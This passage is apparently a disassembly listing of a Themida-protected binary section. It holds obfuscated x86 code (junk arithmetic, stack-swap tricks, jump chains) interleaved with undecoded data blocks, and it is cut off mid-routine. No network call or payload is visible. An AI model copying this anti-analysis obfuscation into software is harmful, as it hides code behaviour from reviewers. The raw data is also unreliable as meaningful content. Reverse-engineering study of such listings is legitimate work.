		dd 4ECh, 0ED3CE900h, 0C683FFFFh, 93BCE904h, 8B54FFFFh
		dd 51E9240Ch, 1FFFFDDh,	240C8BC8h, 81E38953h, 4C3h, 4C38300h
		dd 0FF5832E9h, 4A08B9FFh, 0CBB1EDBh, 291EDB4Ah,	0A451E9CBh
		dd 0CF29FFFFh, 3C875859h, 24248B24h, 68C8BE0Fh,	26Dh, 0E9240C89h
		dd 0FFFF50AFh, 33240C31h, 0E95C240Ch, 0FFFF50A3h
; ---------------------------------------------------------------------------


loc_58F3D0:				; CODE XREF: Themida_:0058DE9Bj
		pop	edx
		xor	ebp, 2B5D1747h
		jmp	loc_5862B7
; ---------------------------------------------------------------------------


loc_58F3DC:				; CODE XREF: Themida_:0058C329j
		push	ebx
		jmp	loc_59064F
; ---------------------------------------------------------------------------
		dw 9868h
		dd 89000016h, 4EE9240Ch
		db 5, 2	dup(0)
; ---------------------------------------------------------------------------


loc_58F3EF:				; CODE XREF: Themida_:00584B24j
		shr	eax, 8
		xor	eax, 0C5E8581h
		sub	eax, 35390D72h
		jmp	loc_588669
; ---------------------------------------------------------------------------


loc_58F401:				; CODE XREF: Themida_:0058569Aj
		pop	esi
		pop	dword ptr [esp]
		pop	esp
		jmp	loc_584473
; ---------------------------------------------------------------------------
		db 80h
		dd 0EDC008F5h, 80E5D005h, 0EE00F3C5h, 0FF5F62E9h, 24248BFFh
		dd 0E92434FFh, 0FFFF79C2h, 94E9E289h, 58000000h, 97BB5357h
		dd 0F761B146h, 81DBF7D3h, 875163E3h, 81DBF76Fh,	0AEAA23F3h
		dd 5BDF8991h, 0FFE3CCE9h, 4C481FFh, 50000000h, 4B8h, 0E9C50100h
		dd 0FFFF7A6Eh, 64528205h, 4875E77h, 0C80F5C24h,	0FFE21EE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_58F475:				; CODE XREF: Themida_:0058F8C2j
		pop	eax
		mov	ebp, [esp]
		sub	esp, 4
		mov	[esp], ecx
		mov	ecx, esp
		push	edx
		jmp	loc_589DD4
; ---------------------------------------------------------------------------
		dw 0E368h
		dd 89000079h, 4BF243Ch,	0E9000000h, 0FFFF9BC3h
; ---------------------------------------------------------------------------


loc_58F49C:				; CODE XREF: Themida_:00586C56j
		pop	esp
		push	eax
		mov	eax, esp
		add	eax, 4
		sub	eax, 4
		xor	eax, [esp]
		xor	[esp], eax
		xor	eax, [esp]
		pop	esp
		mov	[esp], esi
		push	ecx
		push	4ACB1324h
		mov	ecx, [esp]
		jmp	loc_58C9AA
; ---------------------------------------------------------------------------
		db 81h
		dd 4C2h, 4C28300h, 31241433h, 93E92414h, 89FFFFCCh, 74FF2434h
		dd 8F5E0424h, 63E92404h, 1FFFF8Bh, 0B95159CFh, 2, 78E9h
		dd 3ABB5300h, 43088423h, 16A6C381h, 0D9216009h,	0A8D6E95Bh
		dd 148BFFFFh, 0AE42E924h, 1489FFFFh, 4BA24h, 0D1890000h
		dd 0E9CE015Ah, 0FFFF8A0Bh
dword_58F524	dd 24048B66h, 0FF6E6CE9h, 5EF529FFh, 74FF5559h,	42E90424h
					; DATA XREF: Themida_:00584294o
		dd 0BEFFFFAAh, 4, 27E9F501h, 5000003h, 54A94210h, 0FFFDE0E9h
		dd 0C30166FFh, 665A5866h, 2D51EB81h, 66C32966h,	51BD6655h
		dd 0EB01662Dh, 0FF8770E9h, 7CC781FFh, 11C9C43h,	7CEF81CFh
		dd 8B1C9C43h, 0C481240Ch, 4, 0E9243C33h, 0FFFFCCAFh, 53FFEA80h
		dd 0B6CE9h
		db 0
byte_58F595	db 66h,	8Bh, 4		; DATA XREF: Themida_:00584398o
		db 24h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		push	25C1h
		mov	[esp], esi
		push	ebx
		jmp	loc_58DCD1
; ---------------------------------------------------------------------------
		dd 2474FF55h, 48F5D04h,	24248B24h, 0FF9BDBE9h, 8E7C1FFh
		dd 0C781DFF7h, 0BD616660h, 89E9FB89h, 8B00000Bh, 0DBE9242Ch
		dd 81FFFF93h, 0FB22A7F5h, 0D2BB5378h, 31075F28h, 0EF295BDDh
		dd 0B60F5B5Dh, 8734FFC0h, 0DFDE9h, 65C78100h, 50662161h
		dd 11E4EBB8h, 58C72949h, 815FFE31h, 466E1FC3h, 81F3295Bh
		dd 466E1FEBh, 0D8315E5Bh, 0E9241C8Bh, 0FFFFE187h, 81242489h
		dd 42404h, 0FBE90000h, 0FFFFFFC5h, 0E9042474h, 0FFFFD1B4h
		dd 30242C32h, 2CE9242Ch, 0B9FFFF4Eh, 0D17157Ah,	6126E181h
		dd 0E9815FB0h, 0D10011Eh, 0FF91B4E9h
		db 0FFh
byte_58F65D	db 0FFh, 34h, 24h	; DATA XREF: Themida_:005841E4o
		dd 0E3895358h, 8F5DE955h, 0C380FFFFh, 80C30061h, 0E95261EBh
		dd 0FFFF7A41h, 0B5512EB6h, 0FD89E968h, 0E989FFFFh, 4AC2815Dh
		dd 103BF71h, 4AEA81CAh,	5903BF71h, 4D368h, 0ADD3E900h
		dd 24B1FFFFh, 0F604E1C0h, 0BCB450D9h, 8050E480h, 0ECC087F4h
		dd 0AB66E904h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_58F6B6:				; CODE XREF: Themida_:0058469Fj
		add	esp, 4
		jmp	loc_58C19A
; ---------------------------------------------------------------------------
		db 52h,	54h, 0FFh
		dd 148B2434h, 4C48124h,	81000000h, 4C4h, 711CE900h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_58F6DA:				; CODE XREF: Themida_:0058E75Cj
		push	2049h
		mov	[esp], ebp
		jmp	loc_58885C
; ---------------------------------------------------------------------------
		db 68h
		dd 2A2Bh, 0FFBBCDE9h, 0CB8853FFh, 0A20E9h
		db 0
; ---------------------------------------------------------------------------


loc_58F6F9:				; CODE XREF: Themida_:0058B305j
		mov	ecx, ebp
		mov	ebp, [esp]
		add	esp, 4
		sub	ebp, ecx
		pop	ecx
		add	ebp, edx
		add	ebp, 6DB30435h
		jmp	loc_58DAD2
; ---------------------------------------------------------------------------
		db 0C1h, 0EBh, 6
		dd 8328EB81h, 0D92903D7h, 90E1E95Bh, 0C281FFFFh, 786B36AEh
		dd 0FFDB0EE9h, 4B9FFh, 0CE010000h, 0FFE53EE9h, 545358FFh
		dd 4C3815Bh, 0E9000000h, 0FFFFA314h
; ---------------------------------------------------------------------------


loc_58F748:				; CODE XREF: Themida_:005867B4j
		pop	ecx
		push	eax
		mov	eax, 2EFC25DEh
		add	[esp+8], eax
		jmp	loc_585B58
; ---------------------------------------------------------------------------
dword_58F758	dd 592434FFh, 6AA468h, 240C8900h, 0B850E189h, 4, 0FFB123E9h
					; DATA XREF: Themida_:005841A4o
		dd 6879BDFFh, 0B8503462h, 500B00E4h, 7C9F3548h,	0D8F73147h
		dd 0FFB1DEE9h, 8BFD01FFh, 0C483243Ch, 4ED8304h,	8B242C87h
		dd 1C892424h, 310BB24h,	0C38123E6h, 31DA497Eh, 4CBD554Bh
		dd 814E4A7Bh, 0C4084DE5h, 5E5C15Dh, 8AFCD81h, 0F581400Dh
		dd 9DCD4523h, 0E95DEB29h, 0FFFFCC89h, 51242489h, 4B9h
		dd 244C0100h, 3C8B5904h, 0E0895024h, 405h, 0CE1DE900h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_58F7EA:				; CODE XREF: Themida_:0058A9A6j
		push	ecx
		mov	ecx, 0E5D43ACh
		xor	ecx, 0F19D7D61h
		add	eax, ecx
		pop	ecx
		add	esi, eax
		pop	eax
		jmp	loc_584CEC
; ---------------------------------------------------------------------------
		db 56h,	54h, 5Eh
		dd 4B951h, 0CE010000h, 0BE565559h, 48A6613Eh, 815EF589h
		dd 8429FBEDh, 8EDC121h,	420DB951h, 0CD2157AFh, 0FF5014E9h
		dd 2ECC0FFh, 5321B652h,	0FE00E0B7h, 5AF4005Bh, 0FE4EC480h
		dd 0CDB652C4h, 0F68EC680h, 80D6F6DEh, 66E99CEEh, 1FFFFE5h
		dd 0BA525EF7h, 47BD0248h, 55AD029h, 52DE5480h, 2743B72Dh
		dd 5FFFE91Dh, 565EFFFFh, 4BEh, 5EF50100h, 0FFFD33E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_58F87D:				; CODE XREF: Themida_:0058C2B0j
		mov	ecx, ebx
		pop	ebx
		and	ecx, 16146F8Ch
		add	ecx, 6D73666Eh
		xor	ecx, 3D873EBAh
		shl	ecx, 8
		add	ecx, 79DD75F2h
		jmp	loc_587C03
; ---------------------------------------------------------------------------
		dd 0F66E9F6h, 0A1E9CCB6h, 0B8FFFFF7h, 0DAA18036h, 62E9C201h
		db 57h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_58F8B7:				; CODE XREF: Themida_:00590157j
		mov	eax, 4
		jmp	loc_58FFE7
; ---------------------------------------------------------------------------


loc_58F8C1:				; CODE XREF: Themida_:005882C5j
		push	ebp
		jmp	loc_58F475
; ---------------------------------------------------------------------------


loc_58F8C7:				; CODE XREF: Themida_:00587899j
		mov	eax, esi
		jmp	loc_587AFD
; ---------------------------------------------------------------------------
		dw 815Ch
		dd 4C3h, 4BE95100h, 0B900000Dh,	40FB06A3h, 0FFF347E9h
		dd 24048FFFh, 0FF508CE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_58F8ED:				; CODE XREF: Themida_:0058E10Fj
		xchg	ecx, [esp]
		mov	esp, [esp]
		mov	[esp], ecx
		mov	ecx, esp
		add	ecx, 4
		jmp	loc_585F87
; ---------------------------------------------------------------------------


loc_58F903:				; CODE XREF: Themida_:0058FC7Dj
		mov	ecx, [esp]
		add	esp, 4
		dec	eax
		jmp	loc_585E2B
; ---------------------------------------------------------------------------
a3LFh		db '3<$‹$$fh',0
		dd 653CE900h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_58F91E:				; CODE XREF: Themida_:0058EF06j
		pop	esp
		idiv	cx
		push	2CA9h
		mov	[esp], edx
		push	esp
		pop	edx
		add	edx, 4
		push	esi
		mov	esi, 5C6139E1h
		jmp	loc_587E08
; ---------------------------------------------------------------------------
		db 0F7h, 14h, 24h
		dd 31CE3159h, 87CE31F1h, 31DA31F3h, 0B160E9D3h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_58F952:				; CODE XREF: Themida_:00585ED6j
		push	eax
		mov	eax, 5AF95CA7h
		mov	esi, eax
		pop	eax
		jmp	loc_585B66
; ---------------------------------------------------------------------------
		dd 56242489h, 0FFE92EE9h, 4BDFFh, 0EE010000h, 52B0685Dh
		dd 0C890000h, 0E56FE924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_58F97E:				; CODE XREF: Themida_:0058CC9Bj
		mov	edi, esi
		jmp	loc_5900F6
; ---------------------------------------------------------------------------
		db 54h,	0FFh, 34h
		dd 66B8E924h, 0C768FFFFh, 89000058h, 42E9242Ch,	31FFFFA0h
		dd 0B2E5E9EFh, 0C701FFFFh, 0D9EF8158h, 11DFD61h, 0D9C781C7h
		dd 811DFD61h, 0A74473EFh, 68FD583Dh, 4ACFh, 81240489h
		dd 4ECh, 243C8900h, 0C4341D68h,	243C8B17h, 68E08950h, 4F22h
		dd 0E9243C89h, 0FFFFBBE7h, 0C3806BB3h, 9BB9E92Eh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_58F9EE:				; CODE XREF: Themida_:0058A6E9j
		mov	esi, edi
		pop	edi
		inc	esi
		sub	esi, 5EF770B4h
		or	esi, 431632EEh
		add	esi, 0D9404532h
		jmp	loc_58626B
; ---------------------------------------------------------------------------
		db 81h,	0F2h, 53h
		dd 4A54922Eh, 6646F281h, 0D6E9DD83h, 5BFFFFF7h,	8124148Bh
		dd 4C4h, 0E9E80000h, 0FFFFAAA9h, 5504C483h, 966BE3BDh
		dd 5DE92156h, 718DBA52h, 0D1311EFBh, 8124148Bh,	4C4h, 2F682D00h
		dd 0C8014D2Eh, 0FF555BE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_58FA55:				; CODE XREF: Themida_:0058EE40j
		mov	esi, 751079B7h
		jmp	loc_5863F5
; ---------------------------------------------------------------------------


loc_58FA5F:				; CODE XREF: Themida_:0058E00Dj
		pop	edi
		add	esp, 4
		shr	ecx, 0Bh
		jmp	loc_584914
; ---------------------------------------------------------------------------
		db 52h
		dd 0FFBAB5E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_58FA71:				; CODE XREF: Themida_:0058FBD7j
		add	ebp, 4
		push	ebp
		push	dword ptr [esp+4]
		pop	ebp
		pop	dword ptr [esp]
		pop	esp
		push	edi
		jmp	loc_58D418
; ---------------------------------------------------------------------------
		dd 83242489h, 8B042404h, 0C483241Ch, 4C38104h, 55000000h
		dd 4BDh, 0E9EB0100h, 0FFFFA5B5h, 111770BEh, 5EF32954h
		dd 0D7F7FB87h, 5AE9FB87h, 2DFFFFFCh, 2A5C2A1Eh,	8124148Bh
		dd 4C4h, 0BF5700h, 817B1E5Ah, 613DE3EFh, 5FF8014Ah, 0BB53D829h
		dd 61B271Ah, 0FFA96BE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_58FAE1:				; CODE XREF: Themida_:00589C1Ej
		add	edx, 4
		jmp	loc_58BF8E
; ---------------------------------------------------------------------------
		db 1, 0D8h, 8Bh
		dd 0EC81241Ch, 4, 0E9240C89h, 0FFFFC5E6h, 0E680DEF6h, 0BBB151D4h
		dd 80FFE980h, 0EE809BEEh, 80CE2885h, 0B05085C6h, 8E0C007h
		dd 0C0FEF724h, 0D1E96B04h
		db 0A2h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_58FB23:				; CODE XREF: Themida_:0058E708j
		add	edx, esi
		pop	esi
		push	5041h
		mov	[esp], edx
		push	dword ptr [esp+4]
		pop	edx
		jmp	loc_58520E
; ---------------------------------------------------------------------------
		dd 7474E95Eh, 14F7FFFFh, 0A9DBE924h, 0F746FFFFh, 0EAD3E9D6h
		dd 0C581FFFFh, 0D4A5704h, 0A2E9E989h
		db 0A6h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_58FB5B:				; CODE XREF: Themida_:00585C0Cj
		sub	esp, 4
		mov	[esp], ebx
		mov	ebx, 437F344Bh
		push	5521h
		jmp	loc_589CBF
; ---------------------------------------------------------------------------
byte_58FB73	db 31h			; DATA XREF: Themida_:00584374o
		dd 14332414h, 0AF93E924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_58FB7E:				; CODE XREF: Themida_:0058ACD6j
		mov	ebx, esp
		push	esi
		mov	esi, 6B116412h
		shl	esi, 3
		push	edi
		mov	edi, 26234948h
		jmp	loc_5847D8
; ---------------------------------------------------------------------------
		dd 8B243487h, 2C892424h, 7BF5724h, 8921AF36h, 0C5835FFDh
		dd 0DCCD81FFh, 450A7D3Ah, 3B76F581h, 0EB29167Dh, 0FFE834E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_58FBBD:				; CODE XREF: Themida_:0058B50Cj
		pop	edx
		add	eax, 4
		xor	eax, [esp]
		xor	[esp], eax
		xor	eax, [esp]
		jmp	loc_59008E
; ---------------------------------------------------------------------------


loc_58FBCF:				; CODE XREF: Themida_:0058B7F3j
		mov	ebp, esp
		add	ebp, 4
		jmp	loc_58FA71
; ---------------------------------------------------------------------------


loc_58FBDC:				; CODE XREF: Themida_:0058D340j
		mov	[esp], ebp
		push	ecx
		jmp	loc_58BD9F
; ---------------------------------------------------------------------------


loc_58FBE5:				; CODE XREF: Themida_:00587454j
		add	ebp, eax
		mov	eax, [esp]
		add	esp, 4
		add	ebp, 4
		jmp	loc_58A9E6
; ---------------------------------------------------------------------------
		dd 2824248Bh, 0C1DEE9F0h, 1C31FFFFh, 241C3324h,	0E924248Bh
		dd 0FFFFF328h
; ---------------------------------------------------------------------------


loc_58FC10:				; CODE XREF: Themida_:0058E9FBj
		push	eax
		mov	eax, 2D3E421Dh
		dec	eax
		shr	eax, 1
		not	eax
		shr	eax, 4
		and	eax, 529833C0h
		xor	eax, 29001C4h
		add	ebp, eax
		pop	eax
		xchg	ebp, [esp]
		pop	esp
		push	edi
		mov	edi, 2B512F9Fh
		xor	ebx, edi
		pop	edi
		mov	esi, ebx
		pop	ebx
		add	ebp, esi
		mov	esi, [esp]
		jmp	loc_590508
; ---------------------------------------------------------------------------
		db 50h,	0E9h, 6Fh
		dd 30FFFFB3h, 4EC81D8h,	89000000h, 0E589242Ch, 4C581h
		dd 0ED830000h, 242C8704h, 6CB4E95Ch
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_58FC6A:				; CODE XREF: Themida_:0058B006j
		sub	edx, 694FD02Ah
		xor	ecx, edx
		mov	edx, [esp]
		add	esp, 4
		or	eax, ecx
		jmp	loc_58F903
; ---------------------------------------------------------------------------
		dw 0C281h
		dd 4, 5BEEBD55h, 0E5C11161h, 74E94502h
		db 0B1h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_58FC97:				; CODE XREF: Themida_:0058B702j
		add	edi, ebp
		pop	ebp
		jmp	loc_589FB1
; ---------------------------------------------------------------------------
		db 59h
		dd 0FE56E95Bh, 0F280FFFFh, 0EA33E9E7h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_58FCAE:				; CODE XREF: Themida_:00589E2Ej
		push	ecx
		jmp	loc_5890BA
; ---------------------------------------------------------------------------
		dd 0D3239EBBh, 0F3814340h, 153A0AF6h, 0E95BDE89h, 0FFFFB4E3h
		dd 5C240C87h, 0FF730AE9h, 0B0B652FFh, 8002E6C0h, 32E942CEh
		dd 89FFFF5Fh, 0EBE9241Ch, 80FFFFD1h, 0C3004EEBh, 584EC380h
		dd 0EB80C300h, 0C206E9D3h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_58FCFA:				; CODE XREF: Themida_:00589DDBj
		pop	edx
		push	edi
		mov	edi, 1B61063Fh
		shl	edi, 5
		add	edi, 75C15EC5h
		shr	edi, 6
		sub	edi, 3878896h
		sub	ecx, 619C72FEh
		sub	ecx, 2D04199Ch
		add	ecx, edi
		add	ecx, 2D04199Ch
		jmp	loc_584AFD
; ---------------------------------------------------------------------------
		dd 0E92434FFh, 0FFFFA7BEh, 0C5E951h, 3C8B0000h,	4C48324h
		dd 0FFAE1AE9h, 0E28952FFh, 554C68h, 240C8900h, 62076850h
		dd 48B55DEh, 4C48124h, 35000000h, 55DE6203h, 158C189h
		dd 240C8BCAh, 4C481h, 1FE90000h
		db 0CEh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_58FD77:				; CODE XREF: Themida_:0058510Bj
		sub	ebp, 4D415167h
		add	ebp, 0F5B12F12h
		jmp	loc_59051E
; ---------------------------------------------------------------------------
		dd 3DCE68h, 242C8900h, 0FFFBD4E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_58FD95:				; CODE XREF: Themida_:00586138j
		and	eax, ebx
		push	dword ptr [esp]
		mov	ebx, [esp]
		add	esp, 4
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		add	ecx, 4
		push	ecx
		jmp	loc_585AEA
; ---------------------------------------------------------------------------
		db 0C1h, 0EAh, 2
		dd 4A73F281h, 0EAC161B4h, 55F6E904h, 0AC2CFFFFh, 24148B66h
		dd 5302C483h, 0E92CB151h, 0FFFFFEF9h
; ---------------------------------------------------------------------------


loc_58FDD8:				; CODE XREF: Themida_:00587219j
		add	esp, 4
		push	edx
		mov	edx, 2437166Bh
		push	ecx
		mov	ecx, 0D2016C9h
		or	ecx, 7FD869D0h
		sub	ecx, 0FFFFFFFFh
		sub	ecx, 0FFFFFFFFh
		sub	ecx, 0FFFFFFFFh
		push	edx
		jmp	loc_58C62A
; ---------------------------------------------------------------------------
		db 0B1h
		dd 26E980BBh, 3006B252h, 0CB285AD1h, 0E2B55159h, 8059EB30h
		dd 0D928DEEBh, 8CE9E95Bh, 0E95AFFFFh, 0FFFFD3BDh, 24048F58h
		dd 8124248Bh, 4C7h, 0AE80E900h
		db 2 dup(0FFh)
word_58FE36	dw 38E9h		; DATA XREF: Themida_:005841ACo
		dd 0FFFFFF46h, 5A042474h, 0E924048Fh, 0FFFF96C7h, 8104C483h
		dd 7678E6EDh, 5DE8010Dh, 4564BE56h, 0F6813299h,	32994560h
		dd 348BF001h, 4C48324h,	8904EC83h, 74FF2404h, 8F580424h
		dd 855C2404h, 0F4E99CC8h, 5AFFFF45h, 8124148Bh,	4C4h, 0C53FE900h
		dd 0C87FFFFh, 0C1815C24h, 0FCC9E52Ah, 0E959CE89h, 0FFFFE2D0h
		dd 0FD082105h, 85BA521Dh, 29426741h, 0B001E9D0h, 0D831FFFFh
		dd 741E68h, 243C8900h, 0FFC68h,	240C8900h, 5D3E75B9h, 0CA1BF04h
		dd 0B1E9747Ah
		db 0E8h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_58FED3:				; CODE XREF: Themida_:0058B235j
					; Themida_:0058B909j ...
		push	dword ptr [edi+24h]
		sub	dword ptr [esp], 33343C5Eh
		jmp	loc_589B2B
; ---------------------------------------------------------------------------
		dw 0C9FEh
		dd 0FE9EE980h, 2EC81C9h, 0E9000000h, 0FFFFD46Ah, 77E9C388h
		db 0CEh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_58FEFB:				; CODE XREF: Themida_:0058DE5Dj
		pop	esi
		jmp	loc_58E01F
; ---------------------------------------------------------------------------


loc_58FF01:				; CODE XREF: Themida_:0058D251j
		jmp	loc_584473
; ---------------------------------------------------------------------------
		dw 0C281h
		dd 148D0A64h, 0FF5FB5E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_58FF11:				; CODE XREF: Themida_:00586FADj
		add	edi, 8688CCE8h
		add	eax, edi
		pop	edi
		jmp	loc_589BDA
; ---------------------------------------------------------------------------


loc_58FF1F:				; CODE XREF: Themida_:00585B4Aj
		xor	[esp], eax
		xor	eax, [esp]
		pop	esp
		mov	[esp], edx
		not	dword ptr [esp]
		pop	edx
		xchg	edx, ebx
		push	eax
		push	ebx
		mov	eax, [esp]
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		add	ecx, 4
		xchg	ecx, [esp]
		pop	esp
		jmp	loc_58C867
; ---------------------------------------------------------------------------
		align 2
		dw 8BC8h
		db 0Ch,	24h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		push	ecx
		push	4
		pop	ecx
		jmp	loc_58DA16
; ---------------------------------------------------------------------------
		db 53h
		dd 6A67BD55h, 454D7357h, 1BE95145h
		db 0B5h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_58FF73:				; CODE XREF: Themida_:005872F9j
		push	ebx
		push	ecx
		mov	ecx, 32486D85h
		jmp	loc_58DB29
; ---------------------------------------------------------------------------
		db 81h
		dd 4EFh, 243C8700h, 8924248Bh, 21B9240Ch, 0E9664A34h, 0FFFFBE86h
		dd 81E18951h, 4ECh, 242C8900h, 556BA52h, 0EAC1471Fh, 0F2814206h
		dd 2D4F75E9h, 68h, 242C8100h, 59D8494Eh, 81241429h, 494E2404h
		dd 0D0E959D8h, 0B8FFFF4Ch, 2EC03566h, 0FF8E08E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_58FFD9:				; CODE XREF: Themida_:0058A239j
		sub	eax, 55A50A9Bh
		shr	eax, 3
		push	esi
		jmp	loc_58DA8B
; ---------------------------------------------------------------------------


loc_58FFE7:				; CODE XREF: Themida_:0058F8BCj
		add	ebx, eax
		mov	eax, [esp]
		sub	esp, 4
		mov	[esp], eax
		jmp	loc_585833
; ---------------------------------------------------------------------------


loc_58FFF7:				; CODE XREF: Themida_:0058B39Aj
		mov	ecx, [esp]
		add	esp, 4
		push	43460CE2h
		push	dword ptr [esp]
		jmp	loc_58ACCD
; ---------------------------------------------------------------------------
		db 59h,	5Bh, 29h
		dd 9349E9F8h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_590016:				; CODE XREF: Themida_:0058D1A2j
		mov	ebp, [esp]
		jmp	loc_587210
; ---------------------------------------------------------------------------
		dw 5451h
		dd 4EC8159h, 89000000h,	0B868241Ch, 89000079h, 4BA2414h
		dd 89000000h, 24148BD3h, 4C481h, 5BE90000h, 31FFFF55h
		dd 34332434h, 3CD25C24h, 1CE99C24h, 81FFFF44h, 2EAh, 24148700h
		dd 6624248Bh, 66241489h, 4E99C50h
		db 44h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_59006F:				; CODE XREF: Themida_:0058936Aj
					; Themida_:005903F1j
		sub	esp, 4
		mov	[esp], ebx
		add	dword ptr [esp], 15680B99h
		mov	eax, [esp]
		push	3D31h
		mov	[esp], eax
		mov	eax, esp
		jmp	loc_5859E0
; ---------------------------------------------------------------------------


loc_59008E:				; CODE XREF: Themida_:0058FBCAj
		mov	esp, [esp]
		or	eax, eax
		jnz	loc_58FED3
		push	363Bh
		jmp	loc_58B392
; ---------------------------------------------------------------------------
byte_5900A3	db 0FFh			; DATA XREF: Themida_:005841E8o
		dd 0C8E94077h, 31FFFF43h, 0E6FCE9C2h, 0EC81FFFFh, 4, 89243489h
		dd 0EC8151E6h, 4, 0FFF449E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5900C9:				; CODE XREF: Themida_:005862CFj
		add	eax, 22C21DAAh
		and	eax, 78036477h
		xor	eax, 516F4652h
		add	ecx, eax
		pop	eax
		xchg	eax, ecx
		jmp	loc_58A943
; ---------------------------------------------------------------------------


loc_5900E1:				; CODE XREF: Themida_:0058A10Bj
		add	edx, edi
		pop	edi
		xchg	edx, [esp]
		pop	esp
		jmp	loc_58EB11
; ---------------------------------------------------------------------------
byte_5900ED	db 66h,	8Bh, 4		; DATA XREF: Themida_:0058424Co
		dd 0FF28E924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5900F6:				; CODE XREF: Themida_:0058F980j
		mov	esi, [esp]
		add	esp, 4
		jmp	loc_58D700
; ---------------------------------------------------------------------------
		db 50h,	0B4h, 8Ch
		dd 0FFC873E9h, 59CD89FFh, 112CC181h, 0E901284Ch, 0FF9607E9h
		dd 5BDA88FFh, 1875488h,	0FF74F5E9h, 2BE954FFh
		db 0D1h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_59012B:				; CODE XREF: Themida_:00585DB0j
		and	ecx, ebp
		pop	ebp
		shr	ecx, 7
		push	ebx
		jmp	loc_5894E4
; ---------------------------------------------------------------------------
		db 59h
		dd 7C8CEB81h, 87E90FDAh, 83FFFFBBh, 9FE904C4h
		db 0B9h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_59014B:				; CODE XREF: Themida_:00589F0Fj
		push	esp
		pop	ebx
		push	esi
		mov	esi, 4
		add	ebx, esi
		pop	esi
		push	eax
		jmp	loc_58F8B7
; ---------------------------------------------------------------------------
		dd 0A669E95Fh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_590162:				; CODE XREF: Themida_:005895BBj
		mov	ecx, [esp]
		add	esp, 4
		jmp	loc_585695
; ---------------------------------------------------------------------------


loc_590170:				; CODE XREF: Themida_:00587408j
		push	ebx
		push	5C1h
		mov	[esp], esi
		mov	esi, 7F425145h
		xor	esi, 66B1739Ah
		xor	esi, 19F302DFh
		push	esi
		push	ebx
		mov	ebx, 1E6612BEh
		add	dword ptr [esp+4], 6E022F60h
		sub	[esp+4], ebx
		sub	dword ptr [esp+4], 6E022F60h
		pop	ebx
		pop	ebx
		add	ebx, 1E6612BEh
		pop	esi
		jmp	loc_586F99
; ---------------------------------------------------------------------------


loc_5901B3:				; CODE XREF: Themida_:0058D513j
		neg	ebp
		push	esi
		mov	esi, 55283F97h
		jmp	loc_58B1BE
; ---------------------------------------------------------------------------
		dd 5004C483h, 8853DC88h, 5BD988E3h, 8124048Bh, 4C4h, 0CE885B00h
		dd 0E9AC0459h, 0FFFFEF8Ch
; ---------------------------------------------------------------------------


loc_5901E0:				; CODE XREF: Themida_:0058DF9Ej
		add	esi, 36AF5CB9h
		pop	ebx
		jmp	loc_589EF5
; ---------------------------------------------------------------------------
		dd 0C781EF29h, 6ED86CEAh, 243C875Dh, 0FF4B66E9h, 4EC81FFh
		dd 89000000h, 0E0892404h, 5999BE56h, 504E0639h,	77472DB8h
		dd 8E8C104h, 0F705E8C1h, 37B90DD0h, 0CE053C6Bh,	2D59C337h
		dd 5FFC915Fh, 158C601h,	81565EF0h, 4ECh, 243C8900h, 0FFEA1DE9h
		db 0FFh
byte_590241	db 0FFh, 34h, 24h	; DATA XREF: Themida_:0058429Co
		dd 0FF4F07E9h, 268FFh, 1590000h, 2434FFCEh, 57240C8Bh
		dd 0B850E789h, 62A5602Fh, 0FFDA57E9h, 0E28852FFh, 34E9D588h
		db 0A8h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_59026F:				; CODE XREF: Themida_:00586F5Aj
		mov	bl, 4Dh
		neg	bl
		jmp	loc_58B132
; ---------------------------------------------------------------------------
		dd 55240489h, 0DD18BABDh, 24448126h, 0F67C8504h, 246C8125h
		dd 5637D004h, 0CDBE563Eh, 81200A62h, 8908246Ch,	81296B23h
		dd 59082444h, 290D587Eh, 0E9082474h, 48Ah, 43C7E957h, 8F5EFFFFh
		dd 835C2404h, 9E904ECh,	54FFFF90h, 7CE9515Ah, 8FFFFFF3h
		dd 0B8502404h, 4, 0FF644FE9h, 24048BFFh, 0FF7D41E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5902E1:				; CODE XREF: Themida_:0058B78Dj
		pop	edx
		sub	al, 62h
		add	al, 0C5h
		add	al, bl
		sub	al, 0C5h
		add	al, 62h
		pop	ebx
		push	ecx
		push	ebx
		mov	bl, 60h
